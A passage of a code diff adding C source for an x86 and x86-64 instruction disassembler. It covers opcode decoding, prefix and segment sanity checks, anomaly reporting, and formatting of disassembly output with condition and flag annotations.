+ case PREFIX_REP: X86Opcode = &X86_SSE[0x200+Opcode]; break;
+ }
+
+ if (X86_INVALID(X86Opcode))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Illegal SSE instruction opcode 0x%02X 0x%02X + prefix 0x%02X\n", VIRTUAL_ADDRESS, Instruction->OpcodeBytes[0], Instruction->OpcodeBytes[1], Instruction->OpcodeBytes[2]);
+ goto abort;
+ }
+ else if (X86_EXTENDED_OPCODE(X86Opcode))
+ {
+ // SSE in group (13, 14, or 15)
+ OpcodeExtension = GET_MODRM_EXT(X86Instruction->modrm_b);
+ Group = X86_Groups_2[Opcode];
+ X86Instruction->Group = (U8)Group;
+ assert(Group >= 13 && Group <= 15 && X86Opcode->Table);
+ switch (SSE_Prefix)
+ {
+ case PREFIX_OPERAND_SIZE: X86Opcode = &X86Opcode->Table[0x00+OpcodeExtension]; break;
+ case PREFIX_REPNE: X86Opcode = &X86Opcode->Table[0x08+OpcodeExtension]; break;
+ case PREFIX_REP: X86Opcode = &X86Opcode->Table[0x10+OpcodeExtension]; break;
+ }
+
+ if (X86_INVALID(X86Opcode))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Illegal SSE instruction opcode 0x%02X 0x%02X + prefix 0x%02X + extension %d\n", VIRTUAL_ADDRESS, Instruction->OpcodeBytes[0], Instruction->OpcodeBytes[1], Instruction->OpcodeBytes[2], OpcodeExtension);
+ goto abort;
+ }
+ }
+
+ Instruction->Repeat = FALSE;
+ X86Instruction->HasRepeatWhileEqualPrefix = FALSE;
+ X86Instruction->HasRepeatWhileNotEqualPrefix = FALSE;
+ X86Instruction->HasOperandSizePrefix = FALSE;
+ switch (X86_GET_CATEGORY(X86Opcode))
+ {
+ case ITYPE_SSE: case ITYPE_SSE2: case ITYPE_SSE3: break;
+ default: assert(0); goto abort;
+ }
+ }
+ else if (X86_EXTENDED_OPCODE(X86Opcode)) // 2 byte group
+ {
+ assert(!X86Opcode->MnemonicFlags);
+ OpcodeExtension = GET_MODRM_EXT(X86Instruction->modrm_b);
+
+ assert(X86Opcode->Table);
+ X86Opcode = &X86Opcode->Table[OpcodeExtension];
+ if (X86_INVALID(X86Opcode))
+ {
+ Instruction->Length++;
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Invalid group opcode 0x%02X 0x%02X extension 0x%02X\n", VIRTUAL_ADDRESS, X86_TWO_BYTE_OPCODE, Opcode, OpcodeExtension);
+ goto abort;
+ }
+
+ assert(!X86_SPECIAL_EXTENSION(X86Opcode));
+ Group = X86_Groups_2[Opcode];
+ X86Instruction->Group = (U8)Group;
+ assert(Group > 0 && Group <= 19);
+ assert(X86Opcode->Mnemonic);
+ DISASM_OUTPUT(("[0x%08I64X] Group %d (bytes 0x%02X 0x%02X) extension 0x%02X (\"%s\")\n", VIRTUAL_ADDRESS, Group, X86_TWO_BYTE_OPCODE, Opcode, OpcodeExtension, X86Opcode->Mnemonic));
+ }
+ else
+ {
+ assert(X86Opcode->Mnemonic);
+ DISASM_OUTPUT(("[0x%08I64X] Two byte opcode 0x%02X 0x%02X (\"%s\")\n", VIRTUAL_ADDRESS, X86_TWO_BYTE_OPCODE, Opcode, X86Opcode->Mnemonic));
+ X86Instruction->HasModRM = X86_ModRM_2[Opcode];
+ if (X86Instruction->HasModRM) X86Instruction->modrm_b = *Address;
+ }
+ }
+ else // 1-byte opcode
+ {
+ if (X86Instruction->AddressSize == 8)
+ {
+ if (X86_Invalid_Addr64_1[Opcode])
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Opcode 0x%02X (\"%s\") illegal in 64-bit mode\n", VIRTUAL_ADDRESS, Opcode, X86Opcode->Mnemonic);
+ goto abort;
+ }
+
+#if 0
+ if (X86Instruction->rex_b &&
+ (GET_REX_B(X86Instruction->rex_b) && !GET_REX_B(X86_REX_1[Opcode]) ||
+ GET_REX_X(X86Instruction->rex_b) && !GET_REX_X(X86_REX_1[Opcode]) ||
+ GET_REX_R(X86Instruction->rex_b) && !GET_REX_R(X86_REX_1[Opcode]) ||
+ GET_REX_W(X86Instruction->rex_b) && !GET_REX_W(X86_REX_1[Opcode])))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Illegal REX prefix 0x%02X for opcode 0x%02X\n", VIRTUAL_ADDRESS, X86Instruction->rex_b, Opcode);
+ assert(0);
+ goto abort;
+ }
+#endif
+ }
+
+ if (X86Instruction->OperandSize == 2 && X86_Invalid_Op16_1[Opcode])
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Opcode 0x%02X (\"%s\") illegal with 16-bit operand size\n", VIRTUAL_ADDRESS, Opcode, X86Opcode->Mnemonic);
+ goto abort;
+ }
+
+ Instruction->OpcodeBytes[0] = Opcode;
+ Instruction->OpcodeLength = 1;
+ X86Instruction->HasModRM = X86_ModRM_1[Opcode];
+ if (X86Instruction->HasModRM) X86Instruction->modrm_b = *Address;
+
+ if (X86_EXTENDED_OPCODE(X86Opcode)) // a group
+ {
+ assert(X86Instruction->HasModRM);
+ OpcodeExtension = GET_MODRM_EXT(*Address); // leave Address pointing at ModRM byte
+
+ if (X86_SPECIAL_EXTENSION(X86Opcode))
+ {
+ DISASM_OUTPUT(("[0x%08I64X] Special opcode extension 0x%02X 0x%02X\n", VIRTUAL_ADDRESS, X86_TWO_BYTE_OPCODE, Opcode));
+ SpecialExtension = TRUE;
+ goto HasSpecialExtension;
+ }
+
+ assert(X86Opcode->Table);
+ X86Opcode = &X86Opcode->Table[OpcodeExtension];
+ if (X86_INVALID(X86Opcode))
+ {
+ Instruction->Length++;
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Invalid group opcode 0x%02X extension 0x%02X\n", VIRTUAL_ADDRESS, Opcode, OpcodeExtension);
+ goto abort;
+ }
+
+ Group = X86_Groups_1[Opcode];
+ X86Instruction->Group = (U8)Group;
+ DISASM_OUTPUT(("[0x%08I64X] Group %d (byte 0x%02X) extension 0x%02X (\"%s\")\n", VIRTUAL_ADDRESS, Group, Opcode, OpcodeExtension, X86Opcode->Mnemonic));
+ assert(Group > 0 && Group <= 17);
+ assert(X86Opcode->Mnemonic);
+ }
+ else
+ {
+ if (X86_SPECIAL_EXTENSION(X86Opcode))
+ {
+ DISASM_OUTPUT(("[0x%08I64X] Special opcode extension 0x%02X\n", VIRTUAL_ADDRESS, Opcode));
+ SpecialExtension = TRUE;
+ goto HasSpecialExtension;
+ }
+
+ DISASM_OUTPUT(("[0x%08I64X] One byte opcode 0x%02X (\"%s\")\n", VIRTUAL_ADDRESS, Opcode, X86Opcode->Mnemonic));
+ }
+ }
+
+HasSpecialExtension:
+ if (SpecialExtension)
+ {
+ if (X86Opcode->MnemonicFlags & ITYPE_EXT_MODRM)
+ {
+ assert(X86Opcode->Table);
+ assert(Instruction->OpcodeLength == 2);
+ assert(X86Instruction->HasModRM);
+ X86Opcode = &X86Opcode->Table[*Address];
+ if (X86_INVALID(X86Opcode))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Illegal opcode 0x%02X 0x%02X + modrm 0x%02X\n", VIRTUAL_ADDRESS, Instruction->OpcodeBytes[0], Instruction->OpcodeBytes[1], *Address);
+ goto abort;
+ }
+ else if (X86_EXTENDED_OPCODE(X86Opcode))
+ {
+ assert(!X86Opcode->MnemonicFlags);
+ OpcodeExtension = GET_MODRM_EXT(X86Instruction->modrm_b);
+
+ assert(X86Opcode->Table);
+ X86Opcode = &X86Opcode->Table[OpcodeExtension];
+ if (X86_INVALID(X86Opcode))
+ {
+ Instruction->Length++;
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Invalid group opcode 0x%02X 0x%02X extension 0x%02X\n", VIRTUAL_ADDRESS, X86_TWO_BYTE_OPCODE, Opcode, OpcodeExtension);
+ goto abort;
+ }
+
+ assert(!X86_SPECIAL_EXTENSION(X86Opcode));
+ Group = X86_Groups_2[Opcode];
+ X86Instruction->Group = (U8)Group;
+ assert(Group > 0 && Group <= 19);
+ assert(X86Opcode->Mnemonic);
+ DISASM_OUTPUT(("[0x%08I64X] Group %d (bytes 0x%02X 0x%02X) extension 0x%02X (\"%s\")\n", VIRTUAL_ADDRESS, Group, X86_TWO_BYTE_OPCODE, Opcode, OpcodeExtension, X86Opcode->Mnemonic));
+ }
+ else if (!X86_OPERAND_COUNT(X86Opcode))
+ {
+ INSTR_INC(1); // increment Instruction->Length and address
+ }
+ }
+ else if (X86Opcode->MnemonicFlags & ITYPE_EXT_FPU)
+ {
+ assert(X86Opcode->Table);
+ if (X86Instruction->modrm_b < 0xC0)
+ {
+ // It is an opcode extension, use the X86Opcode->Table
+ OpcodeExtension = GET_MODRM_EXT(X86Instruction->modrm_b);
+ X86Opcode = &X86Opcode->Table[OpcodeExtension];
+ }
+ else
+ {
+ // The whole ModRM byte is used, these start at index 0x08 in X86Opcode->Table
+ OpcodeExtension = (X86Instruction->modrm_b & 0x3F);
+ X86Opcode = &X86Opcode->Table[0x08 + OpcodeExtension];
+ }
+
+ if (X86_INVALID(X86Opcode))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Invalid FPU opcode 0x%02X + modrm extension 0x%02X (index 0x%02X)\n", VIRTUAL_ADDRESS, Opcode, X86Instruction->modrm_b, 0x08 + OpcodeExtension);
+ goto abort;
+ }
+
+ DISASM_OUTPUT(("[0x%08I64X] FPU instruction is (\"%s\"): 0x%02X + modrm 0x%02X (index 0x%02X)\n", VIRTUAL_ADDRESS, X86Opcode->Mnemonic, Opcode, X86Instruction->modrm_b, 0x08 + OpcodeExtension));
+ if (!X86_OPERAND_COUNT(X86Opcode)) INSTR_INC(1); // increment Instruction->Length and address
+ }
+ else if (X86Opcode->MnemonicFlags & ITYPE_EXT_SUFFIX)
+ {
+ if (X86Instruction->HasOperandSizePrefix)
+ {
+ if (!Instruction->AnomalyOccurred && X86Opcode->Table == X86_3DNOW_0F)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: operand size prefix used with 3DNOW instruction\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ X86Instruction->HasOperandSizePrefix = FALSE;
+ X86Instruction->OperandSize = 4;
+ }
+ Instruction->OperandCount = X86_OPERAND_COUNT(X86Opcode);
+ assert(Instruction->OpcodeLength == 2 && X86Instruction->HasModRM && Instruction->OperandCount == 2);
+ memcpy(&X86Instruction->Opcode, X86Opcode, sizeof(X86_OPCODE));
+ Instruction->Operands[0].Flags = X86Opcode->OperandFlags[0] & X86_OPFLAGS_MASK;
+ Instruction->Operands[1].Flags = X86Opcode->OperandFlags[1] & X86_OPFLAGS_MASK;
+ Instruction->Operands[2].Flags = X86Opcode->OperandFlags[2] & X86_OPFLAGS_MASK;
+ assert(Address == Instruction->Address + Instruction->Length);
+ if (!SetOperands(Instruction, Address, Flags & DISASM_SUPPRESSERRORS)) goto abort;
+ Suffix = Instruction->Address[Instruction->Length++];
+ Instruction->OpcodeBytes[2] = Suffix;
+ Instruction->OpcodeLength = 3;
+ X86Opcode = &X86Opcode->Table[Suffix];
+
+ if (X86_INVALID(X86Opcode))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Illegal opcode 0x%02X 0x%02X + suffix 0x%02X\n", VIRTUAL_ADDRESS, Instruction->OpcodeBytes[0], Instruction->OpcodeBytes[1], Suffix);
+ goto abort;
+ }
+ assert(Instruction->Length >= 4 + Instruction->PrefixCount);
+ }
+ else if (X86Opcode->MnemonicFlags & ITYPE_EXT_64)
+ {
+ assert(X86Opcode->Table);
+ if (IS_AMD64()) X86Opcode = &X86Opcode->Table[1];
+ else X86Opcode = &X86Opcode->Table[0];
+ assert(!X86_INVALID(X86Opcode));
+ }
+ }
+
+ // Detect incompatibilities
+ if (IS_X86_16() && X86Opcode->CPU > CPU_I386)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Instruction \"%s\" (opcode 0x%02X) can't be used in 16-bit X86\n", VIRTUAL_ADDRESS, X86Opcode->Mnemonic, Instruction->LastOpcode);
+ goto abort;
+ }
+ if (!IS_AMD64() && X86Opcode->CPU >= CPU_AMD64)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Instruction \"%s\" (opcode 0x%02X) can only be used in X86-64\n", VIRTUAL_ADDRESS, X86Opcode->Mnemonic, Instruction->LastOpcode);
+ goto abort;
+ }
+
+ // Copy the opcode into the local structure and set the fields
+ assert(Instruction->OpcodeLength && !X86_INVALID(X86Opcode));
+ memcpy(&X86Instruction->Opcode, X86Opcode, sizeof(X86_OPCODE));
+ Instruction->Groups |= X86_GET_CATEGORY(X86Opcode);
+ assert(Instruction->Groups);
+ Instruction->Type |= X86_GET_TYPE(X86Opcode);
+ assert((U32)Instruction->Type >= Instruction->Groups);
+ Instruction->OperandCount = X86_OPERAND_COUNT(X86Opcode);
+
+ //
+ // Sanity check prefixes now that opcode is known and prefixes are resolved
+ //
+
+ // Instructions that implicitly reference the CS/DS can't have segment override prefixes
+ switch (Instruction->Type)
+ {
+ case ITYPE_PUSHF: case ITYPE_POPF:
+ case ITYPE_ENTER: case ITYPE_LEAVE:
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ X86Instruction->HasSegmentOverridePrefix = FALSE;
+ X86Instruction->Segment = SEG_SS;
+ break;
+ case ITYPE_RET: case ITYPE_DEBUG:
+ case ITYPE_OFLOW: case ITYPE_TRAP:
+ case ITYPE_TRAPRET:
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ X86Instruction->HasSegmentOverridePrefix = FALSE;
+ X86Instruction->Segment = SEG_CS;
+ break;
+ }
+
+ // Check illegal prefixes used with FPU/MMX/SSEx
+ if (Instruction->Groups & (ITYPE_FPU|ITYPE_MMX|ITYPE_SSE|ITYPE_SSE2|ITYPE_SSE3))
+ {
+ // Check for prefixes that produce unpredictable results
+ for (i = 0; i < Instruction->PrefixCount; i++)
+ {
+ switch (Instruction->Prefixes[i])
+ {
+ case PREFIX_OPERAND_SIZE:
+ switch (Instruction->Type)
+ {
+ case ITYPE_FSTOREENV: case ITYPE_FLOADENV: case ITYPE_FSAVE: case ITYPE_FRESTORE: continue;
+ default: break;
+ }
+
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: operand size prefix used with FPU/MMX/SSEx\n", VIRTUAL_ADDRESS);
+ goto abort;
+ }
+ X86Instruction->HasOperandSizePrefix = FALSE;
+ if (X86Instruction->OperandSize == 2) X86Instruction->OperandSize = 2;
+ break;
+
+ case PREFIX_REPNE:
+ case PREFIX_REP:
+ if (Instruction->Groups & ITYPE_FPU) { assert(Instruction->Repeat); continue; }
+ // The Intel manual says this results in unpredictable behavior -- it's not even
+ // clear which SSE prefix is used as the third opcode byte in this case
+ // (e.g., is it the first or last SSE prefix?)
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: rep/repne used with MMX/SSEx\n", VIRTUAL_ADDRESS);
+ goto abort;
+
+ default:
+ break;
+ }
+ }
+ }
+
+ // Check for conflicts involving operand size
+ if (IS_AMD64())
+ {
+ // Check for use of rex.w=1 with an operand size prefix
+ if (X86Instruction->rex.w)
+ {
+ assert(X86Instruction->OperandSize == 8);
+ for (i = 0; i < Instruction->PrefixCount; i++)
+ {
+ if (Instruction->Prefixes[i] == PREFIX_OPERAND_SIZE)
+ {
+ X86Instruction->HasOperandSizePrefix = FALSE;
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: use of operand size prefix meaningless when REX.w=1\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ }
+ }
+ }
+
+ // Set default operand size to 64 instead of 32 for some instructions
+ switch (Instruction->Type)
+ {
+ case ITYPE_PUSH: case ITYPE_POP:
+ case ITYPE_PUSHF: case ITYPE_POPF:
+ case ITYPE_ENTER: case ITYPE_LEAVE:
+ case ITYPE_CALL: case ITYPE_BRANCH:
+ case ITYPE_LOOPCC: case ITYPE_RET:
+ X86Instruction->HasDefault64Operand = TRUE;
+ break;
+
+ case ITYPE_SYSTEM:
+ if (Instruction->OpcodeLength != 2) break;
+
+ // lgdt/lidt/lldt/ltr
+ if ((Instruction->LastOpcode == 0x00 || Instruction->LastOpcode == 0x01) &&
+ (OpcodeExtension == 0x02 || OpcodeExtension == 0x03))
+ {
+ X86Instruction->HasDefault64Operand = TRUE;
+ }
+ break;
+
+ default:
+ break;
+ }
+
+ if (X86Instruction->HasDefault64Operand)
+ {
+ if (X86Instruction->rex.w)
+ {
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: use of REX.w is meaningless (default operand size is 64)\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ X86Instruction->rex_b &= ~8;
+ X86Instruction->rex.w = 0;
+ }
+
+ if (X86Instruction->HasOperandSizePrefix)
+ {
+ assert(X86Instruction->OperandSize == 2);
+ X86Instruction->HasDefault64Operand = FALSE;
+ }
+ else
+ {
+ assert(X86Instruction->OperandSize >= 4);
+ X86Instruction->OperandSize = 8;
+ }
+ }
+ }
+
+ // Make sure rep/repe/repne is set correctly based on instruction
+ if (Instruction->Repeat)
+ {
+ switch (Instruction->Type)
+ {
+ case ITYPE_IN:
+ case ITYPE_OUT:
+ case ITYPE_STRMOV:
+ case ITYPE_STRSTOR:
+ case ITYPE_STRLOAD:
+ if (X86Instruction->HasRepeatWhileNotEqualPrefix)
+ {
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: REPNE should only be used with cmps/scas\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ // Treat it as just a "rep"
+ X86Instruction->HasRepeatWhileNotEqualPrefix = FALSE;
+ X86Instruction->HasRepeatWhileEqualPrefix = TRUE;
+ }
+ break;
+ case ITYPE_STRCMP:
+ break;
+ default:
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Repeat prefix used with non-string instruction\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ Instruction->Repeat = FALSE;
+ X86Instruction->HasRepeatWhileEqualPrefix = FALSE;
+ X86Instruction->HasRepeatWhileNotEqualPrefix = FALSE;
+ break;
+ }
+ }
+
+ if (Disassemble)
+ {
+ assert(!Instruction->StringIndex);
+ if (X86Instruction->HasRepeatWhileEqualPrefix)
+ {
+ if (Instruction->Type == ITYPE_STRCMP) { APPENDS("repe "); }
+ else { APPENDS("rep "); }
+ }
+ if (X86Instruction->HasRepeatWhileNotEqualPrefix) APPENDS("repne ");
+ if (X86Instruction->HasLockPrefix) APPENDS("lock ");
+ if (X86Instruction->HasBranchTakenPrefix) APPENDS("hinttake ");
+ if (X86Instruction->HasBranchNotTakenPrefix) APPENDS("hintskip ");
+ APPENDPAD(12);
+ APPEND(OPCSTR, SIZE_LEFT, "%s", X86Opcode->Mnemonic);
+ APPENDPAD(24);
+ }
+
+ if (Instruction->OperandCount)
+ {
+ Instruction->Operands[0].Flags = X86Opcode->OperandFlags[0] & X86_OPFLAGS_MASK;
+ Instruction->Operands[1].Flags = X86Opcode->OperandFlags[1] & X86_OPFLAGS_MASK;
+ Instruction->Operands[2].Flags = X86Opcode->OperandFlags[2] & X86_OPFLAGS_MASK;
+ Address = SetOperands(Instruction, Address, Flags);
+ if (!Address) goto abort;
+ assert(!(Instruction->Operands[0].Flags & 0x7F));
+ assert(!(Instruction->Operands[1].Flags & 0x7F));
+ assert(!(Instruction->Operands[2].Flags & 0x7F));
+ }
+
+ Disassembler->Stage2Count++;
+
+#ifdef TEST_DISASM
+ //////////////////////////////////////////////////////////////////////
+ // Test against other disassemblers
+ //////////////////////////////////////////////////////////////////////
+
+ if (IS_X86_32())
+ {
+ InstructionLength = X86_GetLength(Instruction, Instruction->Address);
+ if (InstructionLength && Instruction->Length != InstructionLength)
+ {
+ printf("[0x%08I64X] WARNING: instruction lengths differ (%d vs %d)\n", VIRTUAL_ADDRESS, Instruction->Length, InstructionLength);
+ DumpInstruction(Instruction, TRUE, TRUE);
+ assert(0);
+ }
+ }
+ else if (IS_AMD64())
+ {
+ // TODO: need other amd64 (x86-64) disassembler to test against
+ }
+ else if (IS_X86_16())
+ {
+ // TODO: need other x86 16-bit disassembler to test against
+ }
+#endif
+
+ //////////////////////////////////////////////////////////////////////
+ // Post-operand sanity checks
+ //////////////////////////////////////////////////////////////////////
+
+ if (!X86Instruction->HasDstAddressing && !X86Instruction->HasSrcAddressing)
+ {
+ if (X86Instruction->HasAddressSizePrefix)
+ {
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: address size prefix used with no addressing\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ X86Instruction->HasAddressSizePrefix = FALSE;
+ }
+
+ if (X86Instruction->HasSegmentOverridePrefix)
+ {
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: segment override used with no addressing\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ X86Instruction->HasSegmentOverridePrefix = FALSE;
+ }
+ }
+
+ // Detect use of unusual segments
+ if (!Instruction->AnomalyOccurred && !IS_X86_16())
+ {
+ switch (X86Instruction->Segment)
+ {
+ case SEG_CS: case SEG_DS: case SEG_SS:
+ break;
+ case SEG_ES:
+ switch (Instruction->Type)
+ {
+ case ITYPE_IN: case ITYPE_STRMOV: case ITYPE_STRCMP: case ITYPE_STRSTOR:
+ break;
+ default:
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: use of unexpected segment ES\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ break;
+ }
+ break;
+ case SEG_FS:
+ if (IS_X86_32() && !(Instruction->Groups & ITYPE_EXEC)) break;
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: use of unexpected segment FS\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ break;
+ case SEG_GS:
+ if (IS_AMD64() && !(Instruction->Groups & ITYPE_EXEC)) break;
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: use of unexpected segment GS\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ break;
+ default:
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: unexpected segment 0x%02X\n", VIRTUAL_ADDRESS, X86Instruction->Selector);
+ Instruction->AnomalyOccurred = TRUE;
+ break;
+ }
+ }
+
+ if ((X86Opcode->OperandFlags[0] & OP_COND_EXEC) == OP_COND_EXEC)
+ {
+ assert(Instruction->Type == ITYPE_BRANCHCC || Instruction->Type == ITYPE_LOOPCC);
+ for (i = 0; i < Instruction->PrefixCount; i++)
+ {
+ switch (Instruction->Prefixes[i])
+ {
+ case PREFIX_BRANCH_NOT_TAKEN:
+ if (!Instruction->AnomalyOccurred && X86Instruction->Segment != SEG_CS)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Segment override used with conditional branch\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ X86Instruction->HasSegmentOverridePrefix = FALSE;
+ X86Instruction->Segment = SEG_CS;
+ X86Instruction->HasBranchNotTakenPrefix = TRUE;
+ break;
+ case PREFIX_BRANCH_TAKEN:
+ if (!Instruction->AnomalyOccurred && X86Instruction->Segment != SEG_DS)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Segment override used with conditional branch\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ X86Instruction->HasSegmentOverridePrefix = FALSE;
+ X86Instruction->Segment = SEG_CS;
+ X86Instruction->HasBranchTakenPrefix = TRUE;
+ break;
+ }
+ }
+ }
+
+ //
+ // If lock prefix is enabled, verify it is valid
+ //
+ if (X86Instruction->HasLockPrefix &&
+ !IsValidLockPrefix(X86Instruction, Opcode, Instruction->OpcodeLength, Group, OpcodeExtension))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Illegal use of lock prefix for instruction \"%s\"\n", VIRTUAL_ADDRESS, X86Opcode->Mnemonic);
+ goto abort;
+ }
+
+ //////////////////////////////////////////////////////////////////////
+ // Generate disassembly output
+ //////////////////////////////////////////////////////////////////////
+
+ if (Disassemble)
+ {
+ if ((Flags & DISASM_SHOWFLAGS) &&
+ (X86Instruction->Opcode.Preconditions || X86Instruction->Opcode.FlagsChanged || X86Instruction->Opcode.ResultsIfTrue))
+ {
+ APPENDPAD(124);
+ if (X86Instruction->Opcode.Preconditions)
+ {
+ Result = X86Instruction->Opcode.Preconditions;
+ APPENDS("COND:{ ");
+ if (Result & COND_L) APPENDS("L ");
+ if (Result & COND_NL) APPENDS("NL ");
+ if (Result & COND_LE) APPENDS("LE ");
+ if (Result & COND_NLE) APPENDS("NLE ");
+ if (Result & COND_G) APPENDS("G ");
+ if (Result & COND_NG) APPENDS("NG ");
+ if (Result & COND_GE) APPENDS("GE ");
+ if (Result & COND_NGE) APPENDS("NGE ");
+ if (Result & COND_A) APPENDS("A ");
+ if (Result & COND_NA) APPENDS("NA ");
+ if (Result & COND_AE) APPENDS("AE ");
+ if (Result & COND_NAE) APPENDS("NAE ");
+ if (Result & COND_B) APPENDS("B ");
+ if (Result & COND_NB) APPENDS("NB ");
+ if (Result & COND_BE) APPENDS("BE ");
+ if (Result & COND_NBE) APPENDS("NBE ");
+ if (Result & COND_E) APPENDS("E ");
+ if (Result & COND_NE) APPENDS("NE ");
+ if (Result & COND_C) APPENDS("C ");
+ if (Result & COND_NC) APPENDS("NC ");
+ if (Result & COND_Z) APPENDS("Z ");
+ if (Result & COND_NZ) APPENDS("NZ ");
+ if (Result & COND_P) APPENDS("P ");
+ if (Result & COND_NP) APPENDS("NP ");
+ if (Result & COND_PE) APPENDS("PE ");
+ if (Result & COND_PO) APPENDS("PO ");
+ if (Result & COND_O) APPENDS("O ");
+ if (Result & COND_NO) APPENDS("NO ");
+ if (Result & COND_U) APPENDS("U ");
+ if (Result & COND_NU) APPENDS("NU ");
+ if (Result & COND_S) APPENDS("S ");
+ if (Result & COND_NS) APPENDS("NS ");
+ if (Result & COND_D) APPENDS("D ");
+ APPENDB('}');
+ }
+
+ if (X86Instruction->Opcode.FlagsChanged)
+ {
+ Result = X86Instruction->Opcode.FlagsChanged;
+
+ if (Result & FLAG_SET_MASK)
+ {
+ APPENDS("SET:{ ");
+ if (Result & FLAG_CF_SET) APPENDS("C ");
+ if (Result & FLAG_DF_SET) APPENDS("D ");
+ if (Result & FLAG_IF_SET) APPENDS("I ");
+ APPENDB('}');
+ }
+
+ if (Result & FLAG_CLR_MASK)
+ {
+ APPENDS("CLR:{ ");
+ if (Result & FLAG_SF_CLR) APPENDS("S ");
+ if (Result & FLAG_ZF_CLR) APPENDS("Z ");
+ if (Result & FLAG_AF_CLR) APPENDS("A ");
+ if (Result & FLAG_CF_CLR) APPENDS("C ");
+ if (Result & FLAG_DF_CLR) APPENDS("D ");
+ if (Result & FLAG_IF_CLR) APPENDS("I ");
+ if (Result & FLAG_OF_CLR) APPENDS("O ");
+ if ((Result & FPU_ALL_CLR) == FPU_ALL_CLR)
+ {
+ APPENDS("FPU_ALL ");
+ }
+ else
+ {
+ if (Result & FPU_C0_CLR) APPENDS("FPU_C0 ");
+ if (Result & FPU_C1_CLR) APPENDS("FPU_C1 ");
+ if (Result & FPU_C2_CLR) APPENDS("FPU_C2 ");
+ if (Result & FPU_C3_CLR) APPENDS("FPU_C3 ");
+ }
+ APPENDB('}');
+ }
+
+ if ((Result & FLAG_MOD_MASK) == FLAG_MOD_MASK)
+ {
+ APPENDS("MOD:{ ");
+ if ((Result & FLAG_ALL_MOD) == FLAG_ALL_MOD)
+ {
+ APPENDS("FLAGS_ALL ");
+ }
+ else if ((Result & FLAG_COMMON_MOD) == FLAG_COMMON_MOD)
+ {
+ APPENDS("FLAGS_COMMON ");
+ }
+ else
+ {
+ if (Result & FLAG_OF_MOD) APPENDS("O ");
+ if (Result & FLAG_SF_MOD) APPENDS("S ");
+ if (Result & FLAG_ZF_MOD) APPENDS("Z ");
+ if (Result & FLAG_AF_MOD) APPENDS("A ");
+ if (Result & FLAG_PF_MOD) APPENDS("P ");
+ if (Result & FLAG_CF_MOD) APPENDS("C ");
+ if (Result & FLAG_DF_MOD) APPENDS("D ");
+ if (Result & FLAG_IF_MOD) APPENDS("I ");
+ }
+ if ((Result & FPU_ALL_MOD) == FPU_ALL_MOD)
+ {
+ APPENDS("FPU_ALL ");
+ }
+ else
+ {
+ if (Result & FPU_C0_MOD) APPENDS("FPU_C0 ");
+ if (Result & FPU_C1_MOD) APPENDS("FPU_C1 ");
+ if (Result & FPU_C2_MOD) APPENDS("FPU_C2 ");
+ if (Result & FPU_C3_MOD) APPENDS("FPU_C3 ");
+ }
+ APPENDB('}');
+ }
+
+ if (Result & FLAG_TOG_MASK)
+ {
+ APPENDS("TOG:{ ");
+ if (Result & FLAG_CF_TOG) APPENDS("C ");
+ APPENDB('}');
+ }
+ }
+ }
+
+ APPENDS("\n");
+ }
+ else
+ {
+ Instruction->String[0] = '\0';
+ }
+
+ if (!Instruction->Length || Instruction->Length > X86_MAX_INSTRUCTION_LEN)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: maximum instruction length reached (\"%s\")\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic);
+ goto abort;
